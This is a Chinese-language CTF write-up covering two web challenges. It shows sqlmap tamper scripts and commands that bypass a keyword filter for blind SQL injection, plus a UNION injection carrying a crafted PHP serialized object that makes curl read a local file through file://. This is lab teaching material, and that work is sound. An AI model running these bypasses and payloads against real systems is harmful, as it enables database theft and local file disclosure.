CTF新秀杯WEB方向WP

2019-11-10T16:11:00

考察方向:SQL注入 绕过关键词检测的SQL注入 PHP反序列化

盲注

手注WP

请看此链接:https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.html

SQLMAP注入WP

作为一个懒人,手注这种方法多麻烦,跑跑sqlmap多开心,一边跑一边康哔哩哔哩,再恰恰薯片,岂不美哉?

环境调查

  • 页面是PHP的
  • 后端是MYSQL的
  • 只有 1 2 3输入可以出结果
  • 属于整数型注入(01=1)
  • 拦截了绝大部分关键词

    拦截关键词

    and for or order outfile # & * rand()  xor +  - ||  `  ord()  for updatexml()  information union && /* */  limit  floor()   "  空格

    其实还不止这一些,上面也有些重复的 比如 order ord 完全是被or误伤的 另谈另谈

    准备工作

    看到这浩浩荡荡的拦截阵容,直接跑就别想了,还是先写个tamper应付应付吧
    最先要处理的肯定是空格,SQL注入不允许空格多麻烦,把空格替换成tab(%09)吧,第一个tamper诞生了

    #!/usr/bin/env python
    
    """
    Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.LOWEST
    
    def dependencies():
      pass
    
    def tamper(payload, **kwargs):
      payload = payload.replace(' ', "%09")
      return payload

    命令也很简单 python sqlmap.py -r login.txt --threads 10 --dbms "MYSQL" --tamper "justTest" --level 5 --risk 3
    管他是个啥呢 跑个level5 risk3再说
    过程中先康康哔哩哔哩放松放松

一会儿sqlmap就跑出来两个注入点

Parameter: id (POST)
    Type: boolean-based blind
    Title: HAVING boolean-based blind - WHERE, GROUP BY clause
    Payload: id=1 HAVING 3172=3172

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: id=1 RLIKE SLEEP(5)

第一个是布尔的,第二个是时间的,时间的自然不用看,用时间注入怕不是得等到比赛结束,还是康康第一个布尔能干啥吧

尝试注入

打开fiddler 关闭自动代理设置
先看看数据库吧
命令:python sqlmap.py -r login.txt --threads 10 --dbms "MYSQL" --tamper "justTest" --level 5 --risk 3 --proxy "http://127.0.0.1:8888" -b
Emmmm,一连串的313(SQL Injection Checked),就知道这事儿没这么简单,揪一行出来看看怎么回事
id=1 HAVING ORD(MID((IFNULL(CAST(VERSION() AS CHAR),0x20)),1,1))>32
得,在看看刚刚的拦截列表,ORD被OR误伤了,ORD这个函数是用不了了,有没有替换的函数呢?
有的,ASCII函数和MID函数功能相同,替换替换,改改tamper

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = payload.replace(' ', "%09")
    payload = payload.replace('ORD', "ASCII")
    return payload

再跑一次
10.2.26-MariaDB-log 跑出来了,这样用肯定是没问题了

正式注入

information 被拦截了,表名库名列名全泡汤了,幸好题目给了
先看看环境吧

  • 当前库:ctftraining
  • 当前用户:root@localhost
  • 猜解表:flag news passage users

再看看flag表中的列吧
猜解列:id content flag

那就直接dump出这个表吧!
得,一个都没跑出来,继续看看313
id=1 HAVING ASCII(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM ctftraining.flag),1,1))>51
Emmm 星号被拦截了,把COUNT(*)改成COUNT(1)
再来看看
怎么还是一堆313
再拿个来看看
id=1 HAVING ASCII(MID((SELECT IFNULL(CAST(CHAR_LENGTH(flag) AS CHAR),0x20) FROM ctftraining.flag ASCIIER BY flag LIMIT 0,1),1,1))>51
命中关键词 LIMIT (.....)
咋整 反正也也就一行 干脆把LIMIT条件删了吧!
这就是最后的tamper了

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = payload.replace(' ', "%09")
    payload = payload.replace('ORD', "ASCII")
    payload = payload.replace('COUNT(*)', "COUNT(1)")
    payload = payload.replace('LIMIT%090,1', "")
    payload = payload.replace('ASCIIER%09BY%09id', "")
    payload = payload.replace('ASCIIER%09BY%09flag', "")
    #payload = payload.replace(' ', "/*%0a*//*%00*//*%0b*//*!*//*!*//*!*/")
    return payload

命令:python sqlmap.py -r login.txt --threads 100 --dbms "MYSQL" --tamper "justTest" --level 5 --risk 3 -o --proxy "http://127.0.0.1:8888" -D ctftraining -T flag -C flag --dump
拿到 flag SWCTF_Flag{xiaohei_is_a_big_girl}

Facebook

首先就是一个注入点
大概拦截了三个串 'union select' 'union all select' '0x'
原因嘛很简单 sqlmap直接跑UNION必定会用到这三个
解决办法也不困难 /**/代替空格也好 双写空格也罢 都可以
0x解决更容易 --no-escape即可
python sqlmap.py -u 'http://139.199.72.13:8306/view.php?no=1' --tamper "space2comment.py" --threads 10 --technique "U" --union-char 76543 --no-escape
跑出user表

其他的地方没啥意思 这个data是序列化过的?
继续康康其他地方
简单寻找一番找到了rebots.txt文件和flag.php文件 显然 目标是读取flag.php

User-agent: *
Disallow: /user.php.bak

那就来康康user.php源码吧

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这边是用户注册和点击用户时处理的class,主要是注册时判断是不是真正的Blog
然后点击的时候用curl拓展访问并显示
curl是支持本地file://读取的,突破口也就在这里
我们要想办法让blog的url变成file://的

正则没看出问题来,绕不过去(有能绕过去的大佬麻烦留个评论),但我们有个UNION的注入呀
让我们回到手注来
http://139.199.72.13:8306/view.php?no=-1 union select 1,2,3,4
这四位代表的就是user表内的四列
我们复制一个data来
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:13:"www.baidu.com";}
拿来改一改
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
PHP的序列化,很容易看懂
组合一下
http://139.199.72.13:8306/view.php?no=-1 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
访问页面 此时页面已经正常了,在下面那个小的不能再小的框框中看到源码
flag{areyoutierd?}

当前页面是本站的「Baidu MIP」版。查看、发表评论或购买附件请点击:完整版 »